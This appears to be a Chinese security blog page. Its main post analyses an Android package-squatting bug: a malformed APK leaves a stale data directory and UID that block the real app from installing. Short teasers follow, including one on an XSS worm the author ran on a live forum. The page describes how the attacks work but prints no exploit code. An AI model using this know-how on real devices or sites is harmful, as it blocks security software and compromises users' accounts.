Soot作者Eric Bodden所在的实验室, Secure Software Engineering最近宣布他们将在SPSM’14上讲述名为Denial-of-App-Attack的Android系统漏洞,影响4.4.3之前的机型,并给出了poc和对应的google commit id. 这个在googlecode上对应的链接是https://code.google.com/p/android/issues/detail?id=65790。
POC:https://github.com/secure-software-engineering/denial-of-app-attack
该问题可以导致攻击者可以指定应用使其无法安装在手机上,除非有root权限或者factory reset手机。可以被木马用来占位拒绝杀毒软件的安装,或者占位拒绝竞品安装。下面是根据commit diff和poc给出的漏洞具体分析。
###问题现象:
下载安装这个POC,可以看到其实就是指定一个packagename,例如com.taobao.taobao,然后生成了一个malformed的APK并执行安装,由于该APK的dex是非法的,安装的时候会报告INSTALL_FAILED_DEXOPT并安装失败。但如果随后安装真正的com.taobao.taobao时,即使指定了重新安装选项(pm install -r),却会报INSTALL_FAILED_UID_CHANGED,导致后续安装失败,而在被占位的手机上已安装应用中却找不到com.taobao.taobao,自然也无法清除掉占位的幽灵,造成真正的淘宝应用完全无法安装,推而广之可以用在360等杀毒软件上。
正常应用无法安装
正常应用无法安装
POC
POC
###问题本质:
Google的diff对此问题的描述是:

We&#039;d otherwise leave the data dirs & native libraries lying around. This will leave the app permanently broken because the next install of the app will fail with INSTALL_FAILED_UID_CHANGED. Also remove an unnecessary instance variable. Cherry-pick from master Bug 13416059

通过观察可以发现,第一次安装(所谓“占位”)结束的时候,在/data/data/目录下已经有了com.taobao.taobao目录并分配了一个uid,例如u70(10070),但第二次安装的时候,PackageManager却出现了UID_CHANGED的error,而没有复用u70,这是为什么?
uid
INSTALL_FAILED_DEXOPT和UID_CHANGED是在如下代码块中:

3622    private PackageParser.Package scanPackageLI(PackageParser.Package pkg,
3623            int parseFlags, int scanMode, long currentTime, UserHandle user) {
//....
4141        if ((scanMode&SCAN_NO_DEX) == 0) {
4142            if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143                    == DEX_OPT_FAILED) {
4144                mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145                return null;
4146            }
4147        }

scanPackageLI函数流程大概如下:

/**/
//检查是否系统应用
/**/
//检查Package是否重复,否则抛出PackageManager.INSTALL_FAILED_DUPLICATE_PACKAGE
  // Initialize package source and resource directories
3686        File destCodeFile = new File(pkg.applicationInfo.sourceDir);
3687        File destResourceFile = new File(pkg.applicationInfo.publicSourceDir);
//...
 // Just create the setting, don&#039;t add it yet. For already existing packages
3812            // the PkgSetting exists already and doesn&#039;t have to be created.
3813            pkgSetting = mSettings.getPackageLPw(pkg, origPackage, realName, suid, destCodeFile,
3814                    destResourceFile, pkg.applicationInfo.nativeLibraryDir,
3815                    pkg.applicationInfo.flags, user, false);
//在这之后uid已经被指定了
/**/
//检查签名
//检查Provider权限
//开始创建目录
   final long scanFileTime = scanFile.lastModified();
3926        final boolean forceDex = (scanMode&SCAN_FORCE_DEX) != 0;
3927        pkg.applicationInfo.processName = fixProcessName(
3928                pkg.applicationInfo.packageName,
3929                pkg.applicationInfo.processName,
3930                pkg.applicationInfo.uid);
3931
3932        File dataPath;
3933        if (mPlatformPackage == pkg) {
//omit
3937        } else {
3938            // This is a normal package, need to make its data directory.
3939            dataPath = getDataPathForPackage(pkg.packageName, 0);
3940
3941            boolean uidError = false;
3942
3943            if (dataPath.exists()) {
3944                int currentUid = 0;
3945                try {
3946                    StructStat stat = Libcore.os.stat(dataPath.getPath());
3947                    currentUid = stat.st_uid;
3948                } catch (ErrnoException e) {
3949                    Slog.e(TAG, "Couldn&#039;t stat path " + dataPath.getPath(), e);
3950                }
3951
3952                // If we have mismatched owners for the data path, we have a problem.
3953                if (currentUid != pkg.applicationInfo.uid) {
3954                    boolean recovered = false;
3955                    if (currentUid == 0) {
3956                     //omit...
3969                    }
3970                    if (!recovered && ((parseFlags&PackageParser.PARSE_IS_SYSTEM) != 0
3971                            || (scanMode&SCAN_BOOTING) != 0)) {
3972                        // If this is a system app, we can at least delete its
3973                        // current data so the application will still work.
3974                        //omit...
4001                    } else if (!recovered) {
4002                        // If we allow this install to proceed, we will be broken.
4003                        // Abort, abort!
4004                        mLastScanError = PackageManager.INSTALL_FAILED_UID_CHANGED;
4005                        return null;
4006                    }
                 } else {//目录不存在,新建立
4029                if (DEBUG_PACKAGE_SCANNING) {
4030                    if ((parseFlags & PackageParser.PARSE_CHATTY) != 0)
4031                        Log.v(TAG, "Want this data dir: " + dataPath);
4032                }
4033                //invoke installer to do the actual installation
4034                int ret = createDataDirsLI(pkgName, pkg.applicationInfo.uid);//建立目录
4035                if (ret < 0) {
4036                    // Error from installer
4037                    mLastScanError = PackageManager.INSTALL_FAILED_INSUFFICIENT_STORAGE;
4038                    return null;
4039                }
4040
4041                if (dataPath.exists()) {
4042                    pkg.applicationInfo.dataDir = dataPath.getPath();
4043                } else {
4044                    Slog.w(TAG, "Unable to create data directory: " + dataPath);
4045                    pkg.applicationInfo.dataDir = null;
4046                }
4047            }
//omit...
//拷贝nativeLibrary
//omit...
//进行DexOpt
4141        if ((scanMode&SCAN_NO_DEX) == 0) {
4142            if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143                    == DEX_OPT_FAILED) {
4144                mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145                return null;
4146            }
4147        }

那么漏洞的原理就很清楚了,第一次占位安装时,故意让PMS在数据目录已分配uid并写入了/data/data/下之后走到dexopt时使其报错,导致安装异常终止,此时已放置的数据目录却没有被清除掉。第二次安装的时候package被分配了新的的uid,但此时已有同名却不同uid的数据目录存在,导致uid_changed错误,安装失败。
为什么第二次安装的时候就会被分配不同的uid?关键在于 mSettings.getPackageLPw,辗转ref到/frameworks/base/services/java/com/android/server/pm/Settings.java

private PackageSetting getPackageLPw(String name, PackageSetting origPackage,
359            String realName, SharedUserSetting sharedUser, File codePath, File resourcePath,
360            String nativeLibraryPathString, int vc, int pkgFlags,
361            UserHandle installUser, boolean add, boolean allowInstall) {
//omit...
    } else {
423                p = new PackageSetting(name, realName, codePath, resourcePath,
424                        nativeLibraryPathString, vc, pkgFlags);
425                p.setTimeStamp(codePath.lastModified());
426                p.sharedUser = sharedUser;
427                // If this is not a system app, it starts out stopped.
428                if ((pkgFlags&ApplicationInfo.FLAG_SYSTEM) == 0) {
429                    if (DEBUG_STOPPED) {
430                        RuntimeException e = new RuntimeException("here");
431                        e.fillInStackTrace();
432                        Slog.i(PackageManagerService.TAG, "Stopping package " + name, e);
433                    }
434                    List<UserInfo> users = getAllUsers();
435                    if (users != null && allowInstall) {
436                        for (UserInfo user : users) {
437                            // By default we consider this app to be installed
438                            // for the user if no user has been specified (which
439                            // means to leave it at its original value, and the
440                            // original default value is true), or we are being
441                            // asked to install for all users, or this is the
442                            // user we are installing for.
443                            final boolean installed = installUser == null
444                                    || installUser.getIdentifier() == UserHandle.USER_ALL
445                                    || installUser.getIdentifier() == user.id;
446                            p.setUserState(user.id, COMPONENT_ENABLED_STATE_DEFAULT,
447                                    installed,
448                                    true, // stopped,
449                                    true, // notLaunched
450                                    null, null);
451                            writePackageRestrictionsLPr(user.id);
452                        }
453                    }
454                }
455                if (sharedUser != null) {
456                    p.appId = sharedUser.userId;
457                } else {
458                    // Clone the setting here for disabled system packages
459                    PackageSetting dis = mDisabledSysPackages.get(name);
460                    if (dis != null) {
//omit..
484                    } else {
485                        // Assign new user id
486                        p.appId = newUserIdLPw(p);//关键点
487                    }
488                }

继续查看newUserIdLPw

private int newUserIdLPw(Object obj) {
2360        // Let&#039;s be stupidly inefficient for now...
2361        final int N = mUserIds.size();
2362        for (int i = 0; i < N; i++) {
2363            if (mUserIds.get(i) == null) {//检查空位
2364                mUserIds.set(i, obj);
2365                return Process.FIRST_APPLICATION_UID + i;
2366            }
2367        }
2368
2369        // None left?
2370        if (N > (Process.LAST_APPLICATION_UID-Process.FIRST_APPLICATION_UID)) {
2371            return -1;
2372        }
2373
2374        mUserIds.add(obj);
2375        return Process.FIRST_APPLICATION_UID + N;
2376    }

mUserIds是一个PackageSettings的数组状结构,维护了当前的userid,并在安装时遍历进行分配。在第一次恶意的占位安装中,mUserIds这个array状结构已经被添加了一个PackageSettings进去,形成类似于[PackageSetting{(10001, bla)},…,PackageSetting{(10070, com.taobao.taobao)}]的结构,但在dexopt failed的时候最末尾一项没有被移除。随后再安装时,newUserIdLPw会遍历mUserIds,发现没有空位,就会在末尾重新添加一个,形成[PackageSetting{(10001, bla)},…,PackageSetting{(10070, com.taobao.taobao)},PackageSetting{(10071, com.taobao.taobao)}]的结构,导致两次安装分配的UID不同,触发INSTALL_FAILED_UID_CHANGED。
但值得注意的是,这时候mUserIds并没有被固化在packages.xml和packages.list中。
###进一步思考:
那么这样肯定会想到,如果杀掉system_server(软重启),让其重新扫描并建立mUserIds数组不就能修复这个问题了?
理论上来说,如果在重启前没有安装过其他应用的话,那么这还真是可行的。因为重启后重新建立的uid数组是[(10001, bla),…,(10069, haha)],那么重新安装的com.taobao.taobao刚好能占到10070的位置,皆大欢喜。
但如果在重启后又安装了其他应用,那么其就会占掉10070的位置,导致taobao再安装的时候以10071及之后的uid就拿不回原来应该属于它的/data/data/com.taobao.taobao了… what a pity.
以上在stock rom(Genymotion, SDK)和小米2、Nexus等上验证通过。
所以现在看来,原作者说只有root或者reset才能清除这个问题的说法似乎不准确,至少从给出的poc和google的diff来看实验结果某些情况下重启就能fix。总体来说,这是一个比较好玩的trick类漏洞,而且从issuelink来看,应该还有一些其他类型的同样效果的漏洞存在。
###Google对此的修复:
Google的diff主要是添加了SCAN_DELETE_DATA_ON_FAILURES的flag,在设置了该flag的时候安装失败时会删除遗留掉的文件。

@@ -4644,6 +4643,10 @@
         if ((scanMode&SCAN_NO_DEX) == 0) {
             if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0, false)
                     == DEX_OPT_FAILED) {
+                if ((scanMode & SCAN_DELETE_DATA_ON_FAILURES) != 0) {
+                    removeDataDirsLI(pkg.packageName);
+                }
+
                 mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
                 return null;
             }
@@ -4721,6 +4724,10 @@
                     PackageParser.Package clientPkg = clientLibPkgs.get(i);
                     if (performDexOptLI(clientPkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0, false)
                             == DEX_OPT_FAILED) {
+                        if ((scanMode & SCAN_DELETE_DATA_ON_FAILURES) != 0) {
+                            removeDataDirsLI(pkg.packageName);
+                        }
+
                         mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
                         return null;
                     }

###如何fix某个占位攻击:
root下删除该数据目录即可,非root。。。那只能reset了。

一种Android沙盒中监控root命令执行的方法 (Enable command logging in Android)

author: hqdvista a.k.a flanker017
原创,转载请注明出处

0x01 Root下命令记录的情况

在Android应用中,有各种各样的应用都会去执行命令,很多灰色应用则是调用su去执行一些见不得人的勾当。一般来说执行root命令在framework层会这么做:

public static String execSuCommand(String cmd) throws IOException
    {
        Process process = Runtime.getRuntime().exec("su");
        DataOutputStream os = new DataOutputStream(process.getOutputStream());
        os.writeBytes(cmd+"n");
        os.flush();
        os.writeBytes("exitn");
        os.flush();
        BufferedReader reader = new BufferedReader(new InputStreamReader(
                process.getInputStream()));
        int read;
        char[] buffer = new char[4096];
        StringBuffer output = new StringBuffer();
        while ((read = reader.read(buffer)) > 0) {
            output.append(buffer, 0, read);
        }
        reader.close();
        os.close();
        return output.toString();
    }

当然,在native层直接调用su也可以。那沙盒监控中的需求就来了:如何监控到app执行了什么样的shell命令?
Continue reading

ACTF-misc300官方writeup

author: hqdvista a.k.a flanker017

0x01 数据包分析

将数据包 (链接:http://pan.baidu.com/s/1ntrzThB 密码:cbf2)下载下来,在wireshark中打开,看一下statistics和conversations,会看到一大坨http和personal-agent(5555)端口。http看过一遍,基本都是新浪新闻、google搜索ACTF这种,似乎没有什么有价值信息。image(X里的wireshark太难看了)
那么5555端口会是什么?大概follow stream一下, image 玩过android的人应该会意识到这是adb的协议。从数据流大小来看,普通的adb shell命令很难会产生这么多数据,那么要么是adb pull从设备中拖取了什么信息,要么是adb push了什么东西。
再往下翻: image,就会发现有意思的东西,安装流量,也就是说流量里是一个完整的安装APK的过程!
Continue reading

[Revert from backup]对Android最新fakesms漏洞的分析

注:原文发表于 2012-11-08并同时发表于freebuf,后来在博客地震中消失了,现在的是根据freebuf上的恢复而来的。
近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app没有write_sms权限下可以伪造任意发件人的任意短信。
20121108123649823
Continue reading

[Revert from backup]对CC98的一次XSS蠕虫测试

注:原文发表于2012.12.31,之后在博客地震中消失了,这是从cc98上恢复的版本。
CC98论坛是浙大校内最大的论坛,每日有数万发帖,这个网站是由校内学生团队维护。由于历史原因,采用的是一套有一定历史的论坛系统,并在上面做了很多修改。修改后的系统基本杜绝了SQL注入漏洞,安全性有很大提高,但是也缺乏很多web2.0功能和一些对xss的防范。本文讲述的就是我在12.31日22点左右对其进行的一次XSS蠕虫测试。蠕虫以站短形式传播,会选取被感染发过的主题楼中第一页出现的ID发送站短,并使被感染账户在一个指定的楼里(标题名happy new year~) 进行回复。初始传播约为10人,传播开始后大约半小时感染了数百用户,蠕虫自动回复楼已经攀升到当日十大最热门贴子。然后被管理团队发现,删掉了自动回复楼,并关闭了站短功能(蠕虫传播渠道)。此后樱桃和我进行了沟通,并fix了此xss点。
Continue reading

Python中直接从字符串读入cookie的方法

一般来说在使用cookielib的CookieJar时,如果想手动设置header中的cookie字段,需要使用MozillaCookieJar从cookie文件载入,这显然太不方便了,如果直接对每一个请求set-header又相当于需要完全自己管理cookie,放弃了urllib2提供的HttpCookieProcessor。有没有两全其美的办法?
读了会源码,发现Cookie库提供的SimpleCookie可以从raw string解析,但是它并不能用于CookieJar的set_cookie方法中,因为CookieJar事实上接受的是cookielib.cookie这个类型… 但仍然可以利用SimpleCookie的解析方式,提取出raw string的value pair,调用cookielib.cookie的构造函数传入set_cookie中。
Continue reading